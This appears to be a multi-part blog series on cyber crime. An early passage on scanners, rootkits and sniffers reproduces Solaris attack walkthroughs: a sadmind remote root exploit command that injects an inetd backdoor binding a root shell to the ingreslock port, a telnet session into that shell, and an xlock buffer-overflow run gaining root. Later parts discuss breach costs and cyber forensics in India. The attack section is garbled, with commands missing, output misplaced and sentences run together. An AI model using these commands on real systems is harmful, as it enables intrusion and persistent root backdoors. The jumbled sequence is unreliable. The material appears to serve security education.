Port scanners are probably the most commonly used scanning tools on the Internet. These tools scan large IP spaces and report on the systems they encounter, the ports available and other information, such as OS types. The most popular port scanner is Network Mapper (Nmap).

The Nmap port scanner is described as follows on the Nmap web site:

Nmap (“Network Mapper”) is an open source utility for network exploration or security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (ports) they are offering, what operating system (and OS version) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs on most types of computers, and both console and graphical versions are available. Nmap is free software, available with full source code under the terms of the GNU GPL3.

Nmap is an excellent security tool because it allows you to determine which services are being offered by a system. Because Nmap is optimized to scan large IP ranges, it can be run against all IP addresses used by an organization, or all cable modem IP addresses provided by an organization. After using Nmap to find machines and identify their services, you can run the Nessus vulnerability scanner against the vulnerable machines.

Nmap supports an impressive array of scan types that permit everything from TCP SYN (half open) to Null scan sweeps. Additional options include OS fingerprinting, parallel scan, and decoy scanning, to name a few. Nmap supports a graphical version through xnmap. For more information about Nmap,

Vulnerability Scanners

This section describes tools available for scanning vulnerable systems. Vulnerability scanners look for a specific vulnerability or scan a system for all potential vulnerabilities. Vulnerability tools are freely available. We focus on the most popular and best-maintained vulnerability scanner available, Nessus. The Nessus vulnerability tool is described on the Nessus web site:

The “Nessus” Project aims to provide to the Internet community a free, powerful, up-to-date and easy to use remote security scanner. A security scanner is a software which will remotely audit a given network and determine whether bad guys (aka ‘crackers’) may break into it, or misuse it in some way. Unlike many other security scanners, Nessus does not take anything for granted. That is, it will not consider that a given service is running on a fixed port—that is, if you run your web server on port 1234, Nessus will detect it and test its security. It will not make its security tests regarding the version number of the remote services, but will really attempt to exploit the vulnerability. Nessus is very fast, reliable and has a modular architecture that allows you to fit it to your needs.

Nessus provides administrators and hackers alike with a tool to scan systems and evaluate vulnerabilities present in services offered by that system. Through both its command line and GUI-based client, Nessus provides capabilities that are invaluable. Running Nessus is much more convenient in its GUI mode. For more information about Nessus, refer to their web site.

Rootkits

The term rootkit describes a set of scripts and executables packaged together that allow intruders to hide any evidence that they gained root access to a system. Some of the tasks performed by a rootkit are as follows:

· Modify system log files to remove evidence of an intruder’s activities.

· Modify system tools to make detection of an intruder’s modifications more difficult.

· Create hidden back-door access points in the system.

· Use the system as a launch point for attacks against other networked systems.

Sniffers

Network sniffing, or just “sniffing,” is using a computer to read all network traffic, of which some may not be destined for that system. To perform sniffing, a network interface must be put into promiscuous mode so that it forwards, to the application layer, all network traffic, not just network traffic destined for it.

The Solaris OE includes a tool called snoop that can capture and display all network traffic seen by a network interface on the system. While being relatively primitive, this tool can quite effectively gather clear-text user IDs and passwords passing over a network. Many popular protocols in use today such as Telnet, FTP, IMAP, and POP-3 do not encrypt their user authentication and identification information. Once a system is accessed, an intruder typically installs a network sniffer on the system to gain additional user ID and password information, to gather information about how the network is constructed, and to learn.

Techniques

In this section, we describe two different attack scenarios to demonstrate how easily a hacker can gain access to an unsecured system. These successful attacks simulate the following scenarios:

· Attacks from the Internet

· Attacks from employees

In both attack scenarios, after the hacker establishes a root account, the hacker wants to maintain access to the system and establish additional privileges to access the rest of the environment. We correlate the tools that the hacker uses to find vulnerabilities, gain access, and establish additional privileges.

Attacks From the Internet

In this scenario, a hacker uses the Nessus vulnerability scanner to locate a system running Solaris 2.6 OE that has not been protected from the sadmind remote procedure call (RPC) service vulnerability. Let’s see how the sadmind exploit works against the victim system. After the hacker gains access, the hacker uses a rootkit to gain and maintain root access. The header of the sadminindex.c program provides the following information on its usage:

The author of the sadmindex program made things even easier by providing example stack pointer values. Some tinkering with the sp value was necessary in this example to get the exploit to work; however, it didn’t take much trial and error because the next offset tried was 0xefff9588.

The hacker runs the exploit from a Solaris 8 OE system against the Solaris 2.6 OE system, with the following arguments:

The exploit produces the following output, as an administrator, if you want to try this exploit on your system, or if you want to determine if an attacker has tried this exploit on your system, runs the following command to verify that the inetd process is running:

sadmindex - SPARC Solaris remote root exploit for /usr/sbin/ sadmind Tested and confirmed under Solaris 2.6 and 7.0 (SPARC) Usage: % sadmindex -h hostname -c command -s sp [-o offset] [-a alignment] [-p] where hostname is the hostname of the machine running the vulnerable system administration daemon, command is the command to run as root on the vulnerable machine, sp is the %sp stack pointer value, offset is the number of bytes to add to sp to calculate the desired return address, and alignment is the number of bytes needed to correctly align the contents of the exploit buffer.

# ./sadminsparc -h nfs -c "echo ’ingreslock stream tcp nowait root /bin/sh sh -i’ \

>/tmp/.gotcha; /usr/sbin/inetd -s /tmp/.gotcha" -s 0xefff9596 % sp 0xefff9596 offset 688 --> return address 0xefff9844 [4] % sp 0xefff9596 with frame length 4808 --> %fp 0xefffa858 clnt_call: RPC: Timed out now check if exploit worked; RPC failure was expected

# ps -ef | grep inetd

root 5806 1 1 22:59:38 ? 0:00 /usr/sbin/inetd -s /tmp/.x

Next, run the following command to determine if a service called ingres lock is listening:

A hacker establishes a Telnet connection to the port with the following command. Using this command provides the hacker a root shell prompt, which allows the hacker to infiltrate the system further by adding new accounts:

Attacks From Employees

In this scenario, an employee has user access privileges to the system, however, the employee is not authorized to have root access privileges. This scenario is very common. It usually occurs when accounts are left logged on and systems are insecure, thus providing an intruding employee the opportunity to perform unauthorized actions.

The ability of malicious internal users to gain additional privileges on Solaris OE systems is a very real security issue. Unfortunately, it is frequently overlooked or ignored by administrators and managers who say, “That could never happen here” or “We have to trust all of our employees.” Serious security incidents occur in situations like these.

Most systems have different types of users. Authorized individuals are systems administrators, operators, database administrators, hardware technicians, and so forth. Each class of user has permissions and privileges defined by user ID and group IDs on the system. Most of these users do not have a root password or permission to use it.

What happens when an authorized user turns malicious or an intruder gains access to an authorized user’s account through trusted relationships, poor password management, sessions left unlocked, and the like?

# netstat -a | grep ingres

*.ingreslock *.* 0 0 0 0 LISTEN

# telnet nfs ingreslock

Trying 192.168.0.20...

Connected to nfs.

Escape character is ’^]’.

# hostname

Nfs

Once on a system, malicious users and intruders can use buffer overflow attacks to gain root privileges. For example, on August 10th, 2001, a buffer overflow against xlock was released. (The xlock executable is a utility for locking X-windows displays.) This utility is useful to attack because it is installed with the setuid root command, due to its need to authorize access to the display when it is locked. A quick search through a few web sites provides the sample source code, which only has 131 lines of code.

For this scenario, after compiling with the freeware GNU gcc compiler, the executable is placed on the test system ganassi. The following sequence demonstrates the exploit:

Now that the attacker has root privileges on the system, it is easy to use a sniffer, install back doors, maintain and gain additional access privileges using rootkits, and perform tricks and subsequent attacks.

console login: noorder

Password:

Sun Microsystems Inc. SunOS 5.6 Generic August 1997

ganassi% /usr/ucb/whoami

noorder

ganassi% ./sol_sparc_xlockex

shellcode address padding = 0

stack arguments len = 0x502(1282)

the padding zeros number = 2

Using RET address = 0xeffffb10

Using retloc = 0xefffe8c4

# /usr/ucb/whoami

root

Part 1,Part 2,Part 3,Part 4,Part 5

Cyber Crime | Future of Cyber Crime | India | Part 3

2009-12-13T19:09:00.002+05:30

Cost of Computer Security Breach

Many CEOs and CIOs are slow to invest in computer security because they do not know how to measure their Return on Investment (ROI). No one has shown them the actual costs associated with not investing in computer security. The objective of this paper is to provide the information security officer with objective data about the actual cost of computer security breaches to commercial companies. The information presented herein can be used as input into the ROI analyses to support security procurements.

How Cost Is Measured

In the commercial world, the cost of a cyber security breach is measured by both “tangibles” and “intangibles.” The tangibles can be calculated based on estimates of:

· Lost business, due to unavailability of the breached information resources

· Lost business, that can be traced directly to accounts fleeing to a “safer” environment

· Lost productivity of the non-IT staff, who have to work in a degraded mode, or not work at all, while the IT staff tries to contain and repair the breach

· Labor and material costs associated with the IT staff’s detection, containment, repair and reconstitution of the breached resources

· Labor costs of the IT staff and legal costs associated with the collection of forensic evidence and the prosecution of an attacker

· Public relations consulting costs, to prepare statements for the press, and answer customer questions

· Increases in insurance premiums

· Costs of defending the company in any liability suits resulting from the breached company’s failure to deliver assured information and services.

Not all of these tangible costs will occur with each breach; some will only occur with major, well-publicized breaches. The intangibles refer to costs that are difficult to calculate because they are not directly measurable, but are nevertheless very important for business. Many of these intangibles are related to a “loss of competitive advantage” that results from the breach. For example, a breach can affect an organization’s competitive edge through:

· Customers’ loss of trust in the organization

· Failure to win new accounts due to bad press associated with the breach

· Competitor’s access to confidential or proprietary information.

While the focus of this paper is the commercial world, I’d like to note that the military environment has similar cost issues. In the military, the tangible costs are measured in human lives, replacement costs of equipment, and prolonged military operations. The intangibles would include loss of tactical advantage, loss of international prestige, and impaired negotiating positions.

In the next several sections, we will look at how people in various organizations have calculated the cost of breaches in both hypothetical and real world situations.

Hypothetical Examples of the Cost Impact of Security Breaches

Forrester Research1 estimated the tangible and intangible costs of computer security breaches in three hypothetical situations. Their analysis indicated that, if thieves were to illegally wire $1 million from an on-line bank, the cost impact to the bank would be $106 million. They also estimated that, in the hypothetical situation that cyber techniques are used to divert a week’s worth of tires from an auto manufacturer; the auto manufacturer would sustain losses of $21 million. Finally, they estimated that if a law firm were to lose significant confidential information, the impact would be almost $35 million. Does this sound unrealistic? Remember, that Forrester used both tangibles and intangibles in their estimates, including the loss of confidential information and reputation. The sections below present the results of analyses of real world cost impacts of cyber events, using largely tangible costs as the means of estimating impact.

Real World Examples of Cost Impacts

Cost Impacts on Individual Companies

In December, 1998 Ingram Micro, a PC wholesaler, had to shut down its main data center in Tucson, Arizona due to an electrical short. While the reason for the shutdown was not a security breach, the loss of Ingram’s Internet business and electronic transactions from 8:00 AM to 4:00 PM mimicked what could happen with a Distributed Denial of Service (DDOS) attack or a major intrusion. As a result of its one day of lost sales and system repairs, Ingram estimates that it lost a staggering $3.2 million. This figure is comparable to Forrester’s projection of a $21 million loss for an auto manufacturer who is unable to get tires for a week. To estimate the cost impact of the types of breaches that happen daily to companies, one can turn to the annual surveys of the Computer Security Institute (CSI) (www.gosci.com) and the FBI. For the past five years, the CSI-FBI “Computer Crime and Security Survey” has been a major source of information on the frequency and impact of computer security breaches, through their polling of commercial, non-profit, and government organizations. Their Year 2000 report was based on a survey of 643 information security professionals from organizations throughout the United States. Typically, the respondents represent organizations that have already made some commitment to computer security. In the 1999 survey, 91% of the respondents had firewalls, 42% had intrusion detection systems, and 34% were using digital certificates in their companies. Of the 643 respondents in the year 2000, 90% had detected cyber attacks on their organizations; and 74% reported financial losses associated with those attacks. Of the total sample of respondents, 42% (273 people) were able to quantify their exact losses, which totaled $265,589,940, or $972,857 cost impact per organization across all types of breaches.

The highest impact came from theft of proprietary information, reported by 66 people. Their total losses came to $66,708,000 or $1,010,727 cost impact per organization for theft of proprietary information. While this may seem like a lot, the average cost impact of theft of proprietary information in their 1999 survey was even greater -- $1,847,652. The sabotage of data or networks was reported by 61 respondents, for a total loss of $27,148,000 or an average loss of $445,049 per organization. This loss was significantly higher than the 1999 average loss of $163,740 associated with sabotage. While these estimates are presumably based on tangible costs to the company, one can infer that the respondents are very aware of and sensitive to the intangible costs of a tarnished reputation that could result from media treatment of security breaches. I base this conclusion, on some interesting data in the 1999 survey. In 1999, 48% of those respondents who had been subjected to an intrusion did not report it. Among the most important reasons cited for their decision not to report those breaches were the fear of negative publicity and the use of the information by competitors.

Cost Impacts across Industries

Some research and consulting firms such as Computer Economics (www.computereconomics.com) measure the impact of computer breaches across several companies or industries. Computer Economics5 has estimated that in 1999 businesses around the globe spent $12.1 billion to combat the effect of computer viruses. Their estimate was based on tangibles such as lost productivity, network down time, and expenses incurred to get rid of the virus infections. The ILOVEYOU virus and its copycats have also been studied for their financial impacts across industries. According to Computer Economics the ILOVEYOU virus and its variants caused $6.7 billion in damage in the first five days.

The FBI, in their testimony before the Senate Subcommittee on Technology, Terrorism and Government Information, cites the Yankee Group’s estimate that industries around the world lost $1.2 billion to the DDOS attacks on e-commerce in February 2000. Their estimate was based on lost capitalization, lost revenues and the costs of security upgrades.

The Cost of Piracy

A different form of security breach – software piracy – also has a cost impact across the software industry. International Planning and Research, an independent research firm, estimated that software vendors lost $12.2 billion 1999 due to software piracy. They estimate that one out of three pieces of software used by businesses around the world is pirated copies.

Conclusion

The financial impact of computer security breaches has been quantified by several sources. The best estimate of the impact of security breaches on a single organization can be found in the CSI-FBI survey of over 600 organizations. They concluded that the average cost impact of security breaches on each organization is over $972,000 per year.

Part 1,Part 2,Part 3,Part 4,Part 5

Cyber Crime | Future of Cyber Crime | India | Part 2

2009-12-13T19:08:00.001+05:30

Cyber Crime in India

India is on the verge of a technology revolution and the driving force behind the same is the acceptance and adoption of Information and Communication Technology (ICT) and its benefits. This technology revolution may, however, fail to bring the desired and much needed result if we do not adopt a sound and country oriented e-governance policy. A sound e-governance policy presupposes the existence of a sound and secure e-governance base as well. The security and safety of various ICT platforms and projects in India must be considered on a priority basis before any e-governance base is made fully functional. This presupposes the adoption and use of security measures more particularly empowering judiciary and law enforcement manpower with the knowledge and use of cyber forensics and digital evidencing.

Cyber Forensics and Its Need

The concepts of cyber security and cyber forensics are not only interrelated but also indispensably required for the success of each other. The former secures the ICT and e-governance base whereas the latter indicates the loopholes and limitations of the adopted measures to secure the base. The latter also becomes essential to punish the deviants so that a deterrent example can be set. There is, however, a problem regarding acquiring expertise in the latter aspect. This is so because though a computer can be secured even by a person with simple technical knowledge the ascertainment and preservation of the evidence is a tough task. For instance, one can install an anti-virus software, firewall, adjust security settings of the browser, etc but the same cannot be said about making a mirror copy of hard disk, extracting deleted files and documents, preserving logs of activities over internet, etc. Further one can understand the difficulty involved in the prosecution and presentation of a case before a court of law because it is very difficult to explain the evidence acquired to a not so techno savvy judge. The problem becomes more complicated in the absence of sufficient numbers of trained lawyers in this crucial field.

The Cyber Forensics has given new dimensions to the Criminal laws, especially the Evidence law. Electronic evidence and their collection and presentation have posed a challenge to the investigation agencies, prosecution agencies and judiciary. The scope of Cyber Forensics is no more confined to the investigation regime only but is expanding to other segments of justice administration system as well. The justice delivery system cannot afford to take the IT revolution lightly. The significance of cyber forensics emanates from this interface of justice delivery system with the Information Technology.

The growing use of IT has posed certain challenges before the justice delivery system that have to be met keeping in mind the contemporary IT revolution. The contemporary need of Cyber Forensics is essential for the following reasons:

a) The traditional methods are inadequate: The law may be categorized as substantive and procedural. The substantive law fixes the liability whereas the procedural law provides the means and methods by which the substantive liability has to contended, analyzed and proved. The procedural aspects providing for the guilt establishment provisions were always there but their interface with the IT has almost created a deadlock in investigative and adjudicative mechanisms. The challenges posed by IT are peculiar to contemporary society and so must be their solution. The traditional procedural mechanisms, including forensic science methods, are neither applicable nor appropriate for this situation. Thus, “cyber forensics” is the need of the hour. India is the 12th country in the world that has its own “Cyber law” (IT Act, 2000). However, most of the people of India, including lawyers, judges, professors, etc, are not aware about its existence and use. The traditional forensic methods like finger impressions, DNA testing, blood and other tests, etc play a limited role in this arena.

b) The changing face of crimes and criminals: The use of Internet has changed the entire platform of crime, criminal and their prosecution. This process involves crimes like hacking, pornography, privacy violations, spamming, phishing, pharming, identity theft, cyber terrorisms, etc. The modus operendi is different that makes it very difficult to trace the culprits. This is because of the anonymous nature of Internet. Besides, certain sites are available that provides sufficient technological measures to maintain secrecy. Similarly, various sites openly provide hacking and other tools to assist commission of various cyber crimes. The Internet is boundary less and that makes the investigation and punishment very difficult. These objects of criminal law will become a distant reality till we have cyber forensics to tackle them.

c) The need of comparison: There is a dire need to compare the traditional crimes and criminals with the crimes and criminal in the IT environment. More specifically, the following must be the parameters of this comparison:

a. Nature of the crime

b. Manner/Methods of commission of the crime,

c. Purpose of the crime,

d. Players involves in these crimes, etc.

Thus, Cyber Forensics is required to be used by the following players of criminal justice system:

a. Investigation machinery- Statutory as well as non-statutory

b. Prosecution machinery, and

c. Adjudication machinery- Judicial, quasi-judicial or administrative.

d. Jurisdictional dilemma: The Internet is not subject to any territorial limits and none can claim any jurisdiction over a particular incidence. Thus, at times there is conflict of laws. The best way is to use the tool of Cyber Forensics as a “preventive measure” rather than using it for “curative purposes”.

Conclusion

The growing use of ICT for administration of all the spheres of our daily life cannot be ignored. Further, we also cannot ignore the need to secure the ICT infrastructures used for meeting these social functions. The threat from “malware” is not only apparent but also very worrisome. There cannot be a single solution to counter such threats. We need a techno-legal “harmonized law”. Neither pure law nor pure technology will be of any use. Firstly, a good combination of law and technology must be established and then an effort must be made to harmonies the laws of various countries keeping in mind common security standards. In the era of e-governance and e-commerce a lack of common security standards can create havoc for the global trade in goods and services. The tool of Cyber Forensics, which is not only preventive but also curative, can help a lot in establishing a much needed judicial administration system and security base.

Part 1,Part 2,Part 3,Part 4,Part 5